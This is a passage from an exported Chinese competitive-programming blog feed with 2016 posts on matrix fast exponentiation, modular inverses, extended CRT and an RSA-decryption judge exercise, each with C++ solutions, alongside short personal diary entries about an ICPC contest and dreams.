ms(mat,0); 44 } 45 Mat operator*(const Mat \u0026b)const 46 { 47 Mat ans; 48 ans.clear(); 49 for ( int i = 0 ; i \u003c 2 ; i++) 50 for ( int j = 0 ; j \u003c 2 ; j++) 51 for ( int k = 0 ; k \u003c 2 ; k++) 52 ans.mat[i][j] = ( ans.mat[i][j] + mat[i][k] * b.mat[k][j] ) % mod; 53 return ans; 54 } 55 void pr() 56 { 57 cout \u003c\u003c mat[0][0] \u003c\u003c ' ' \u003c\u003c mat[0][1] \u003c\u003c endl \u003c\u003c mat[1][0] \u003c\u003c ' ' \u003c\u003c mat[1][1] \u003c\u003c endl; 58 } 59 Mat operator ^ ( LL b) 60 { 61 Mat res; 62 res.clear(); 63 for ( int i = 0 ; i \u003c 2 ; i++) res.mat[i][i] = 1; 64 Mat a = *this; 65 while (b\u003e0) 66 { 67 if (b\u00261) res = res * a; 68 b = b \u003e\u003e 1LL; 69 a = a * a; 70 } 71 return res;","date":"2016-10-25","externalUrl":null,"permalink":"/2016/10/hdu-5171-gtys-birthday-gift-/","section":"Posts","summary":"题目链接 题意：给出n,k，以及n个正数，把n个数放在一个集合里，进行k次操作，每次操作取最大的数和次大的数放进集合。问k次操作结束后，集合中所有数的和。","tags":["快速幂","斐波那契","矩阵"],"title":"hdu 5171 GTY's birthday gift (矩阵快速幂)","type":"post"},{"categories":["随笔杂谈"],"content":"沈阳打铁了。。。。 具体不多说了。。。总之现在格外消沉，心情也很差。 可能需要一段时间缓一缓… 能缓过来就继续干… 缓不过来大概就退役了把2333 哦，没拿牌应该叫滚粗。。。 希望自己可以缓过来。 毕竟还没拿金，还有几个妹子没有面2333 各位有缘再见。","date":"2016-10-24","externalUrl":null,"permalink":"/2016/10/get-iron-medal-on-icpc-shenyang-regional/","section":"Posts","summary":"沈阳打铁了。。。。 具体不多说了。。。总之现在格外消沉，心情也很差。","tags":["算法竞赛"],"title":"近况。。。","type":"post"},{"categories":["随笔杂谈"],"content":"这两天一直睡不醒。。。 今天热身赛几乎睡了全场。 还是没能把自己的博客过一遍。。。 记得去年比赛前好像什么都没看呀？ 大概是因为去年什么都不会所以没什么可看的吧233333 为啥有一种准备的考试的即视感。。。。 看自己博客的感受是：我竟然会这么多东西\u0026\u0026这些东西真是我写的？ 然后晚上一只困成狗。。。又不敢喝咖啡。。。好困啊orz 关于今天呢。。。大概想说。。。。礼仪队妹子好漂亮嘿嘿嘿 志愿者服务态度很棒。。。也很周到。。。 餐厅非常好吃。。。就是量太少了。。。。后来的同学就没有饭吃了orz jry的发言很亮。。。 明天比赛，rp++ kkkkk?kkkkk！","date":"2016-10-22","externalUrl":null,"permalink":"/2016/10/2016-icpc-shenyang-reigonal-onsite/","section":"Posts","summary":"这两天一直睡不醒。。。 今天热身赛几乎睡了全场。 还是没能把自己的博客过一遍。。。","tags":["算法竞赛"],"title":"2016 沈阳","type":"post"},{"categories":["ACM"],"content":"题目链接 题意：Step 1: Calculate a new NN matrix C = AB. Step 2: Calculate M = C^(N*N). Step 3: For each element x in M, calculate x % 6. All the remainders form a new matrix M’. Step 4: Calculate the sum of all the elements in M’. 思路： 水题。。就一个trick… 朴素的矩阵乘法的复杂度是n^3的。。。按照题目的顺序求的话。。。。求M矩阵时会超时。。。（而且1000*1000的数组也不能放到结构体里…? 我们可以根据矩阵乘法的结合律。 M = (AB)^(NN) = A * (BA)^(NN-1) * B 然后就可以搞了。 1/* *********************************************** 2Author :111qqz 3Created Time :Wed 19 Oct 2016 08:39:49 PM CST 4File Name :code/hdu/4965.cpp 5************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cset\u003e 13#include \u003cmap\u003e 14#include \u003cstring\u003e 15#include \u003ccmath\u003e 16#include \u003ccstdlib\u003e 17#include \u003cctime\u003e 18#define fst first 19#define sec second 20#define lson l,m,rt\u003c\u003c1 21#define rson m+1,r,rt\u003c\u003c1|1 22#define ms(a,x) memset(a,x,sizeof(a)) 23typedef long long LL; 24#define pi pair \u003c int ,int \u003e 25#define MP make_pair 26using namespace std; 27const double eps = 1E-8; 28const int dx4[4]={1,0,0,-1}; 29const int dy4[4]={0,-1,1,0}; 30const int inf = 0x3f3f3f3f; 31const int N=1E3+5; 32int n,K; 33struct Mat 34{ 35 int mat[10][10]; 36 void clear() 37 { 38 ms(mat,0); 39 } 40}C,M; 41Mat operator * ( Mat a, Mat b) 42{ 43 Mat ans; 44 ans.clear(); 45 for ( int i = 0 ; i \u003c K ; i++) 46 { 47 for ( int j = 0 ; j \u003c K ; j++) 48 { 49 for ( int k = 0 ; k \u003c K ; k++) 50 { 51 ans.mat[i][j] = (ans.mat[i][j] + a.mat[i][k] * b.mat[k][j])%6; 52 } 53 } 54 } 55 return ans; 56} 57Mat operator ^ ( Mat a,int b) 58{ 59 Mat ans; 60 ans.clear(); 61 for ( int i = 0 ; i \u003c K ; i++) ans.mat[i][i] = 1; 62 while (b\u003e0) 63 { 64 if (b\u00261) ans = ans * a; 65 b = b \u003e\u003e 1; 66 a = a * a; 67 } 68 return ans; 69} 70int A[N][10],B[10][N","date":"2016-10-19","externalUrl":null,"permalink":"/2016/10/hdu-4965-fast-matrix-calculation-20149/","section":"Posts","summary":"题目链接 题意：Step 1: Calculate a new NN matrix C = AB. Step 2: Calculate M = C^(N*N). Step 3: For each element x in M, calculate x % 6. All the remainders form a new matrix M’. Step 4: Calculate the sum of all the elements in M’.","tags":["快速幂","矩阵"],"title":"hdu 4965 Fast Matrix Calculation (矩阵快速幂，2014多校#9)","type":"post"},{"categories":["ACM"],"content":"题意：给定一个有向图，问从A点恰好走k步（允许重复经过边）到达B点的方案数mod p的值 思路： ** 把给定的图转为邻接矩阵，即A(i,j)=1当且仅当存在一条边i-\u003ej。令C=A*A，那么C(i,j)=ΣA(i,k)A(k,j)，实际上就等于从点i到点j恰好经过2条边的路径数（枚举k为中转点）。类似地，CA的第i行第j列就表示从i到j经过3条边的路径数。同理，如果要求经过k步的路径数，我们只需要快速幂求出A^k即可。** M67_十个利用矩阵乘法解决的经典题目 这个转化好美啊。。。 1/* *********************************************** 2Author :111qqz 3Created Time :Wed 19 Oct 2016 08:14:56 PM CST 4File Name :code/hdu/2157.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=25; 34const int mod = 1000; 35int n,m; 36struct Mat 37{ 38 int mat[N][N]; 39 void clear() 40 { 41 ms(mat,0); 42 } 43}M; 44 45Mat operator * (Mat a,Mat b) 46{ 47 Mat ans; 48 ans.clear(); 49 for ( int i = 0 ; i \u003c n ; i++) 50 for ( int j = 0 ; j \u003c n ;j++) 51 for ( int k = 0 ; k \u003c n ; k++) 52 ans.mat[i][j] = (ans.mat[i][j] + a.mat[i][k] * b.mat[k][j])%mod; 53 54 return ans; 55} 56 57Mat operator ^ (Mat a,int b) 58{ 59 Mat ans; 60 ans.clear(); 61 for ( int i = 0 ; i \u003c n ; i++) ans.mat[i][i] = 1; 62 63 while (b\u003e0) 64 { 65 if (b\u00261) ans = ans * a; 66 b = b \u003e\u003e 1LL; 67 a = a* a; 68 } 69 return ans; 70} 71LL ksm( LL a,LL b, LL k) 72{ 73 LL res = 1LL; 74 while (b) 75 { 76 if (b\u00261) res = (res * a) % k; 77 b = b \u003e\u003e 1LL; 78 a = ( a * a) % k; 79 } 80 re","date":"2016-10-19","externalUrl":null,"permalink":"/2016/10/hdu-2157/","section":"Posts","summary":"题意：给定一个有向图，问从A点恰好走k步（允许重复经过边）到达B点的方案数mod p的值","tags":["快速幂","矩阵","计数问题"],"title":"hdu 2157 How many ways?? (矩阵快速幂经典题目)","type":"post"},{"categories":["ACM"],"content":"题目链接 题意：给出p, q, e, l,令n = p * q, fn = (p-1) * (q-1) 给出l个c,计算m = D(c) = c**d** mod n,其中m为要输入的明文对应的ascii编码，d的计算方法：\u003e calculate d, making d × e mod F(n) = 1 mod F(n), and d will be the private key。 问明文。 思路： 出题人JGShining（极光炫影）傻逼。 题意都说不清？ 大小写字母一个意思？ 脑袋有坑的出题人。 出题人傻逼。 # 出题人傻逼。 # 出题人傻逼。 # 好了。这道题需要用到扩展欧几里得算法求逆元。。。ksm(a,mod-2)的方法是基于费马小定理，必须mod为质数才可以用。扩展偶记里算法没有这个限制。 用欧几里德算法求模的逆元： 同余方程ax≡b (mod n)，如果 gcd(a,n)== 1，则方程只有唯一解。 在这种情况下，如果 b== 1，同余方程就是 ax=1 (mod n ),gcd(a,n)= 1。 这时称求出的 x 为 a 的对模 n 乘法的逆元。 对于同余方程 ax= 1(mod n )， gcd(a,n)= 1 的求解就是求解方程 ax+ ny= 1，x, y 为整数。这个可用扩展欧几里德算法求出，原同余方程的唯一解就是用扩展欧几里德算法得出的 x 。 也就是gcd(a,n,x,y); 然后再(x = x%n + n)%n，得到最小的正整数x，即为a在模n意义下的逆元。 1/* *********************************************** 2Author :111qqz 3Created Time :Wed 19 Oct 2016 04:51:40 PM CST 4File Name :code/hdu/1211.cpp 5************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cset\u003e 13#include \u003cmap\u003e 14#include \u003cstring\u003e 15#include \u003ccmath\u003e 16#include \u003ccstdlib\u003e 17#include \u003cctime\u003e 18#define fst first 19#define sec second 20#define lson l,m,rt\u003c\u003c1 21#define rson m+1,r,rt\u003c\u003c1|1 22#define ms(a,x) memset(a,x,sizeof(a)) 23typedef long long LL; 24#define pi pair \u003c int ,int \u003e 25#define MP make_pair 26using namespace std; 27const double eps = 1E-8; 28const int dx4[4]={1,0,0,-1}; 29const int dy4[4]={0,-1,1,0}; 30const int inf = 0x3f3f3f3f; 31LL p,q,e,l,d; 32LL n,fn; 33LL exgcd( LL a,LL b,LL \u0026x,LL \u0026y) 34{ 35 if (b==0) 36 { 37 x = 1; 38 y = 0; 39 return a; 40 } 41 LL ret = exgcd(b,a%b,y,x); 42 y-=x*(a/b); 43 return ret; 44} 45LL ksm( LL a,LL b,LL k) 46{ 47 LL res = 1; 48 while (b\u003e0) 49 { 50 if (b\u00261) res = (res * a)%k; 51 b = b \u003e\u003e 1; 52 a = (a * a) % k; 53 } 54 return res; 55} 56int main() 57{","date":"2016-10-19","externalUrl":null,"permalink":"/2016/10/hdu-1211-rsa--/","section":"Posts","summary":"题目链接 题意：给出p, q, e, l,令n = p * q, fn = (p-1) * (q-1) 给出l个c,计算m = D(c) = c**d** mod n,其中m为要输入的明文对应的ascii编码，d的计算方法：\u003e calculate d, making d × e mod F(n) = 1 mod F(n), and d will be the private key。","tags":["快速幂","扩展欧几里得算法","逆元"],"title":"hdu 1211 RSA (扩展欧几里得算法求逆元 +快速幂)","type":"post"},{"categories":["ACM"],"content":"acdreamer_逆元学习笔记 摘重点： ksm(a,mod-2)的方法求逆元只适用于mod为质数且 gcd(a,mod)==1 扩展欧几里得算法求逆元只适用于gcd(a,mod)==1 扩展欧几里得算法求逆元 acdreamer的博客里提到一种通用的方法，正确性未知。（然而有b|a的前提呵呵呵呵呵） 但是你会发现费马小定理和扩展欧几里得算法求逆元是有局限性的，它们都会要求 与 互素。实际上我们还有一 种通用的求逆元方法，适合所有情况。公式如下 O(n)求逆元： 其实有些题需要用到 模 的所有逆元，这里 为奇质数。那么如果用快速幂求时间复杂度为 ， 如果对于一个1000000级别的素数 ，这样做的时间复杂度是很高了。实际上有 的算法，有一个递推式如下 它的推导过程如下，设 ，那么 对上式两边同时除 ，进一步得到 再把 和 替换掉，最终得到 初始化 ，这样就可以通过递推法求出 模奇素数 的所有逆元了。 另外 模 的所有逆元值对应 中所有的数，比如 ，那么 对应的逆元是 。","date":"2016-10-19","externalUrl":null,"permalink":"/2016/10/%e9%80%86%e5%85%83%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0/","section":"Posts","summary":"acdreamer_逆元学习笔记 摘重点： ksm(a,mod-2)的方法求逆元只适用于mod为质数且 gcd(a,mod)==1","tags":["逆元"],"title":"逆元学习笔记","type":"post"},{"categories":["ACM"],"content":"题目链接 题意： Given a n × n matrix A and a positive integer k, find the sum S = A + _A_2 + _A_3 + … + Ak. 思路： 对k进行二分。 比如，当k=6时，有： A + A^2 + A^3 + A^4 + A^5 + A^6 =(A + A^2 + A^3) + A^3*(A + A^2 + A^3) 应用这个式子后，规模k减小了一半。我们二分求出A^3后再递归地计算A + A^2 + A^3，即可得到原问题的答案。 以及错误的递归方式： 无形中增加了多少次。。。。。。怎么像小学生呢。。。 正确的写法。。。 1/* *********************************************** 2Author :111qqz 3Created Time :Tue 18 Oct 2016 05:10:53 PM CST 4File Name :code/poj/3233.cpp 5************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cset\u003e 13#include \u003cmap\u003e 14#include \u003cstring\u003e 15#include \u003ccmath\u003e 16#include \u003ccstdlib\u003e 17#include \u003cctime\u003e 18#define fst first 19#define sec second 20#define lson l,m,rt\u003c\u003c1 21#define rson m+1,r,rt\u003c\u003c1|1 22#define ms(a,x) memset(a,x,sizeof(a)) 23typedef long long LL; 24#define pi pair \u003c int ,int \u003e 25#define MP make_pair 26using namespace std; 27const double eps = 1E-8; 28const int dx4[4]={1,0,0,-1}; 29const int dy4[4]={0,-1,1,0}; 30const int inf = 0x3f3f3f3f; 31const int N=35; 32int n,k,mod; 33struct Mat 34{ 35 int mat[N][N]; 36 void clear() 37 { 38 ms(mat,0); 39 } 40 void out() 41 { 42 for ( int i = 0 ; i \u003c n ; i++ ) 43 { 44 for ( int j = 0 ; j \u003cn-1 ; j++) printf(\"%d \",mat[i][j]); 45 printf(\"%d\\n\",mat[i][n-1]); 46 } 47 } 48}M; 49Mat operator * ( Mat a ,Mat b ) 50{ 51 Mat c; 52 c.clear(); 53 for ( int i = 0 ; i \u003c n ; i++) 54 for ( int j = 0 ; j \u003c n; j ++) 55 for ( int k = 0 ; k \u003c n; k++) 56 c.mat[i][j] = (c.mat[i][j] + a.mat[i][k]*b.mat[k][j])%mod; 57 return c; 58} 59Mat operator + (Mat a,Mat b) 60{ 61 Mat c; 62 c.clear(); 63 for ( int i = 0 ; i \u003c n ;i ++) 64 for ( int j = 0 ; j \u003c n ; j++) 65 c.mat[i][j] = (a.mat[i][j] + b.mat[i][j])%mod; 66 return c; 67} 68","date":"2016-10-19","externalUrl":null,"permalink":"/2016/10/poj-3233/","section":"Posts","summary":"题目链接 题意： Given a n × n matrix A and a positive integer k, find the sum S = A + _A_2 + _A_3 + … + Ak. 思路： 对k进行二分。","tags":["分治","快速幂","矩阵"],"title":"poj 3233 Matrix Power Series  （矩阵快速幂+分治）","type":"post"},{"categories":["随笔杂谈"],"content":"梦。。。。 设定大概是我身上有某种可以产生军用价值的变异… 所以要杀掉我做研究。。。？ 但是我不同意2333 于是把我抓了起来。。。判了10年有期徒刑的样子。。。 罪名好想是不支持社会主义建设。。。。？？？ 我还记得很清楚。。。。有人和我讲什么“好好改造，早日回归社会” 鬼啊。当时第一个念头是，我今年的比赛还没打。。。。10年出来以后就不能参加比赛了orz。。。 第二个设定是。。。。kk想杀我。。。 然后全世界的人。。。都想让我死。。。。。。。大概是有奖金吧，我不知道。 全世界的人都想让你死是什么感觉呢。。。。。 心好累啊。。。 最近每天都是这种。。。一不小心就会死。。。或者要拼死拼活才能活命的梦。。。。 前一天是梦到在一个只能上升不会下降的电梯。。。。。无法控制。。。。（这个设定大概是最近的某道题2333） sigh…","date":"2016-10-19","externalUrl":null,"permalink":"/2016/10/20161019-dream/","section":"Posts","summary":"梦。。。。 设定大概是我身上有某种可以产生军用价值的变异… 所以要杀掉我做研究。。。？ 但是我不同意2333 于是把我抓了起来。。。判了10年有期徒刑的样子。。。 罪名好想是不支持社会主义建设。。。。？？？ 我还记得很清楚。。。。有人和我讲什么“好好改造，早日回归社会” 鬼啊。当时第一个念头是，我今年的比赛还没打。。。。10年出来以后就不能参加比赛了orz。。。","tags":["算法竞赛"],"title":"20161019梦境记录","type":"post"},{"categories":["ACM"],"content":"(\\alpha+\\beta\\geq\\frac12) 20180101_test: (\\alpha+\\beta\\geq\\frac12) $$\\left[ \\begin{matrix}a\u0026b\\c\u0026\\alpha\\end{matrix} \\right]$$\\left( \\begin{matrix}a\u0026b\\c\u0026\\alpha\\end{matrix} \\right)","date":"2016-10-17","externalUrl":null,"permalink":"/2016/10/test-latex/","section":"Posts","summary":"(\\alpha+\\beta\\geq\\frac12) 20180101_test: (\\alpha+\\beta\\geq\\frac12) $$\\left[ \\begin{matrix}a\u0026b\\c\u0026\\alpha\\end{matrix} \\right]$$\\left( \\begin{matrix}a\u0026b\\c\u0026\\alpha\\end{matrix} \\right)","tags":["算法竞赛"],"title":"test latex","type":"post"},{"categories":["ACM"],"content":"题目链接 题意：求f[n] % 10000,f为斐波那契数。 思路：按照题目给出的公式，或者按照加速线性递推式的方法都可以。。。 因为把模数的1E4手滑写成1E4+7结果调了半天也是没谁了呵呵呵呵。 1/* *********************************************** 2Author :111qqz 3Created Time :Tue 18 Oct 2016 01:18:40 AM CST 4File Name :code/poj/3070.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int MOD = 1E4; 34int n; 35struct Mat 36{ 37 int mat[5][5]; 38 39 void clear() 40 { 41 ms(mat,0); 42 } 43 44}M,M1; 45Mat operator * (Mat a,Mat b) 46{ 47 Mat c; 48 c.clear(); 49 for ( int i = 0 ; i \u003c 2 ; i++) 50 for ( int j = 0 ; j \u003c 2 ; j++) 51 for ( int k = 0 ; k \u003c 2 ; k++) 52 c.mat[i][j] = (c.mat[i][j] + a.mat[i][k]*b.mat[k][j])%MOD; 53 return c; 54} 55Mat operator ^ (Mat a,int b) 56{ 57 Mat c; 58 c.clear(); 59 for ( int i = 0 ; i \u003c 2 ; i++) 60 for ( int j = 0 ; j \u003c 2 ; j++) 61 c.mat[i][j]=(i==j); //初始化为单位矩阵。 62 while (b\u003e0) 63 { 64 if (b\u00261) c = c * a; 65 b = b \u003e\u003e 1; 66 a = a * a; 67 } 68 return c; 69} 70int main() 71{ 72 #ifndef ONLINE_JUDGE 73 freopen(\"code/in.txt\",\"r\",stdin); 74 #endif 75 76 while (~scanf(\"%d\",\u0026n)) 77 { 78 if (n==-1) break; 79 if (n==0) 80 { 81 printf(\"%d\\n\",0); 82 continue; 83 } 84 M.mat[0][0] = 0; 85 M.mat[0][1] = 1; 86 M.mat[1][0] = 1; 87 M.mat[1][1] = 1; 88 M1.ma","date":"2016-10-17","externalUrl":null,"permalink":"/2016/10/poj-3070-fibonacci/","section":"Posts","summary":"题目链接 题意：求f[n] % 10000,f为斐波那契数。 思路：按照题目给出的公式，或者按照加速线性递推式的方法都可以。。。","tags":["矩阵"],"title":"poj 3070 Fibonacci (矩阵加速线性递推式)","type":"post"},{"categories":["ACM"],"content":"找到了篇四年前空间中的旧文，也是有点感动2333. 快速求解多项递推式 # 问题描述: 已知 F(n) = AF(n-1) + BF(n-2) + CF(n-3)+….. 求解 F(n)%P 分析: ＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊ 如果n的值不大,一般来说在1000000之内,则可以考虑直接递推求解,只要预先花O(n)时间复杂度,可打出一张表,运行时直接查表就可以了. 另一方面,如果n值可能很大,如10^9,用这种方法无论是在内存还是时间上开销都太大,根本无法满足.本文将介绍一种与矩阵相关的高效通用算法. 举个例子: ＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊ 如果我们已知一个序列的前两项为a0,a1,递推关系为:F(n) = AF(n-1)+BF(n-2) 令矩阵 M = | 0 1 | M(1) = | a0 | | B A | | a1 | N = M * M(1) = | a1 | | Aa1+Ba0 | 而 Aa1+Ba0 刚好就是 a2 ! 设 M(n) = | a(n-1) | | an | N = M * M(n) = | an | | Aan+Ba(n-1)| 很显然, Aan+Ba(n-1) 就是 a(n+1) 矩阵M(n)的第二个元素对应F(n),只要在前一个矩阵基础上左乘一个矩阵M就可以得到下一项F(n+1).这样把递推转化成了矩阵的乘法运算． M^(n-1)*M1 = | F(n-1) | | F(n) | 因此该问题就转化成了求解一个矩阵的n次方． ＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊ 同理，对于一个涉及三项的递推式F(n) = AF(n-1)+BF(n-2)+CF(n-3) 只要令　M = | 0 1 0 | M(1) = | a0 | | 0 0 1 | | a1 | | C B A | | a2 | 推导过程和上面类似，可以自己推导一下，也会得到如下的结论： M^(n-1)*M1 = | F(n-1) | | F(n) | | F(n+1) | 同样将问题转化成了解一个矩阵的n次方． ＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊ 一般化： M　阵的建立：若一共有 m　个递推式，则建一个m行m列的矩阵，让第m行从右到左依次是递推项的系数A,B,C…..，在除第一列和最后一行的剩余矩阵的主对角线上写1,其余所有的都写0. M(1) 阵的建立：该矩阵是 m 行一列阵，其值分别为F(0),F(1)…F(m-1) 结论的形式和上面的结论都差不多． 为什么要这样设定 M 和 M(1), 设定M(1)很好理解，关键是M, 只要你把两个矩阵乘起来，你就会发现其中的奥妙所在． ＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊ 要求一个矩阵的n次方，线性代数里面有相应的方法． 很实用的一个算法是二进制扫描法．(刘汝佳\u003c算法艺术与信息学竞赛\u003eP224) 总的时间复杂度约为O(log2(n)) 这样一个很大的数n也能在很短的时间内算出来． ＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊ 二进制扫描法： 1.将n转化为二进制　n = bjb(j-1)…b2b1b0 bi = 0或1 2.M^2 = M*M M^4 = (M^2)^2 这样可以得到 M 的1,2,4,8…2^32次方记为,M0,M1,M2,M3..M32． 3.M^n = (bjMj)(b(j-1)M(j-1))…(b2M2)(b1M1)(b0M0) 若bi=1,则乘Ｍj;bj=0,则不乘 因为有　M^(a+b) = M^a*M^b 例：n = 9 = 1001(2) = 1000+0+0+1(2) M^9 = M^(1000+0+0+1) = M^1000*M^1 = M3*M0 4.模运算有这样的性质: (ab)%c = [(a%c)(b%c)]%c ＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊ 练习: SOJ: cs.scu.edu.cn/soj 2984 Fibonacci 2385 Fibonacci Problem Again","date":"2016-10-17","externalUrl":null,"permalink":"/2016/10/%e7%9f%a9%e9%98%b5%e5%8a%a0%e9%80%9f%e7%ba%bf%e6%80%a7%e9%80%92%e6%8e%a8%e5%bc%8f%ef%bc%88%e8%bd%ac%e8%bd%bd%ef%bc%89/","section":"Posts","summary":"找到了篇四年前空间中的旧文，也是有点感动2333. 快速求解多项递推式 # 问题描述:","tags":["矩阵"],"title":"矩阵加速线性递推式（转载）","type":"post"},{"categories":["ACM"],"content":"参考资料： 十个利用矩阵乘法解决的经典题目","date":"2016-10-17","externalUrl":null,"permalink":"/2016/10/%e7%9f%a9%e9%98%b5%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0/","section":"Posts","summary":"参考资料： 十个利用矩阵乘法解决的经典题目","tags":["矩阵"],"title":"矩阵学习笔记","type":"post"},{"categories":["ACM"],"content":"题目链接 题意：求在小于等于N的正整数中有多少个X满足：X mod a[0] = b[0], X mod a[1] = b[1], X mod a[2] = b[2], …, X mod a[i] = b[i], … (0 \u003c a[i] \u003c= 10)。 思路：先用扩展欧几里得算法（excrt）解一般同余方程求出一个特解R,然后通解R’ = R + k * LCM(a1..am) 注意一些特殊情况，如果无解输出0，如果n小于最小的正整数的R也输出0， 否则答案为(n-R)/M + 1 1/* *********************************************** 2Author :111qqz 3Created Time :Sat 15 Oct 2016 03:31:09 PM CST 4File Name :code/hdu/1573.cpp 5************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cset\u003e 13#include \u003cmap\u003e 14#include \u003cstring\u003e 15#include \u003ccmath\u003e 16#include \u003ccstdlib\u003e 17#include \u003cctime\u003e 18#define fst first 19#define sec second 20#define lson l,m,rt\u003c\u003c1 21#define rson m+1,r,rt\u003c\u003c1|1 22#define ms(a,x) memset(a,x,sizeof(a)) 23typedef long long LL; 24#define pi pair \u003c int ,int \u003e 25#define MP make_pair 26using namespace std; 27const double eps = 1E-8; 28const int dx4[4]={1,0,0,-1}; 29const int dy4[4]={0,-1,1,0}; 30const int inf = 0x3f3f3f3f; 31const int N =15; 32LL a[N],r[N]; 33LL nn; 34int m; 35LL exgcd(LL a,LL b,LL \u0026x,LL \u0026y) 36{ 37 if (b==0) 38 { 39 x = 1; 40 y = 0 ; 41 return a; 42 } 43 LL ret = exgcd( b, a%b,y,x); 44 y-=x*(a/b); 45 return ret; 46} 47LL ex_crt(LL *m,LL *r,int n) 48{ 49 LL M = m[1] , R = r[1],x,y,gcd; 50 for ( int i = 2 ; i \u003c= n ; i++) 51 { 52 gcd = exgcd(M,m[i],x,y); 53 if ((r[i]-R)%gcd) return 0; 54 LL gx = m[i]/gcd; 55 x = x*(r[i]-R)/gcd; 56 x %=gx; 57 R += x*M; 58 M = M / gcd * m[i]; 59 R%=M; 60 } 61 if (R\u003c=0) R+=M; 62 if (nn\u003cR) return 0; 63 return (nn-R)/M + 1; 64} 65int main() 66{ 67 #ifndef ONLINE_JUDGE 68 freopen(\"code/in.txt\",\"r\",stdin); 69 #endif 70 int T; 71 cin\u003e\u003eT; 72 while (T--) 73 { 74 scanf(\"%lld %d\",\u0026nn,\u0026m); 75 for ( int i = 1 ; i \u003c= m ; i++) scanf(\"%lld\",\u0026a[i])","date":"2016-10-15","externalUrl":null,"permalink":"/2016/10/hdu-1573/","section":"Posts","summary":"题目链接 题意：求在小于等于N的正整数中有多少个X满足：X mod a[0] = b[0], X mod a[1] = b[1], X mod a[2] = b[2], …, X mod a[i] = b[i], … (0 \u003c a[i] \u003c= 10)。","tags":["中国剩余定理","扩展欧几里得算法"],"title":"hdu 1573 X问题 (exgcd求解一般线性同余方程组解的个数)","type":"post"},{"categories":["ACM"],"content":"题目链接 题意：给出k个方程，形式为 x==r1,求最小的正数x，无解输出-1. 思路：首先很容易让人联想到crt. 然而crt的使用条件是，所有的m(也就是这道题中的a)两两互质，这道题并不满足，因此不能使用crt. X mod m1=r1 X mod m2=r2 … … … X mod mn=rn 首先，我们看两个式子的情况 X mod m1=r1……………………………………………………………(1) X mod m2=r2……………………………………………………………(2) 则有 X=m1k1+r1………………………………………………………………() X=m2k2+r2 那么 m1k1+r1=m2k2+r2 整理，得 m1k1-m2*k2=r2-r1 令(a,b,x,y,m)=(m1,m2,k1,k2,r2-r1)，原式变成 ax+by=m 熟悉吧？此时，因为GCD(a,b)=1不一定成立，GCD(a,b) | m 也就不一定成立。所以应该先判 若 GCD(a,b) | m 不成立，则方程无解。（理论依据：裴蜀定理） 否则，继续往下。 解出(x,y)，将k1=x反代回（），得到X。 于是X就是这两个方程的一个特解，通解就是 X’=X+kLCM(m1,m2) 这个式子再一变形，得 X’ mod LCM(m1,m2)=X 这个方程一出来，说明我们实现了(1)(2)两个方程的合并。 令 M=LCM(m1,m2)，R=r2-r1 （注意这里原博客写错了，应该为R=x*m1+r1） 就可将合并后的方程记为 X mod M = R。 然后，扩展到n个方程。 用合并后的方程再来和其他的方程按这样的方式进行合并，最后就能只剩下一个方程 X mod M=R，其中 M=LCM(m1,m2,…,mn)。 那么，X便是原模线性方程组的一个特解，通解为 X’=X+k*M。 